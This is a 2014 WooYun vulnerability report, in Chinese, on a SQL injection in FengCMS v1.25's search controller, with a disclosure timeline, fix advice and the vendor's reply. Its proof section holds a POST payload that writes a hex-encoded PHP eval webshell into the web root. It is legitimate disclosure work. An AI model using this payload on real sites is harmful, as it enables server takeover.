漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-072135
漏洞标题:Fengcms v1.25 SQL注入漏洞2
相关厂商:fengcms.com
漏洞作者: zxx
提交时间:2014-08-13 11:57
修复时间:2014-11-11 11:58
公开时间:2014-11-11 11:58
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-08-13: 细节已通知厂商并且等待厂商处理中
2014-08-13: 厂商已经确认,细节仅向厂商公开
2014-08-16: 细节向第三方安全合作伙伴开放
2014-10-07: 细节向核心白帽子及相关领域专家公开
2014-10-17: 细节向普通白帽子公开
2014-10-27: 细节向实习白帽子公开
2014-11-11: 细节向公众公开
简要描述:
过滤问题导致sql注入
详细说明:
app/controller/searchControl.php
跟进project_exist函数
system/common/filter.php
但是system/app.php中有个全局的过滤:
没有开启魔术引号时候可以直接注入,但是因为fengcms的报错机制,不现实报错出的内容,这里又没回显,只能盲注了。
如果开启魔术引号,测试发现,我们的逗号会被过滤掉,这下不够顺畅了,跟下removexss_array函数:
好了,没有逗号了,但是这里其他的符号并没有过滤,不需要逗号的sql注入代码一样可以利用,比如高权限直接写webshell到web目录。
漏洞证明:
没有魔术引号时,直接注入:
开启魔术引号,来个写文件吧:
http://localhost/?controller=search
POST数据:project=1" union select 0x3c3f70687020406576616c28245f504f53545b2770617373275d293b3f3e into outfile 'D:/dedeampz/DedeAMPZ/WebRoot/Default/test.php' %23
连接一下:
我感觉应该有不使用逗号的其他利用方法。
修复方案:
对project参数过滤一下把;全局过滤也有问题,尤其针对get型的,直接去掉转义,等于没过滤,post型的仅仅针对xss过滤了;另外那个正则的误伤也改下吧。
版权声明:转载请注明来源 zxx@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2014-08-13 12:12
厂商回复:
非常感谢大家对FengCMS的指正!我们一定努力做到更好!
最新状态:
暂无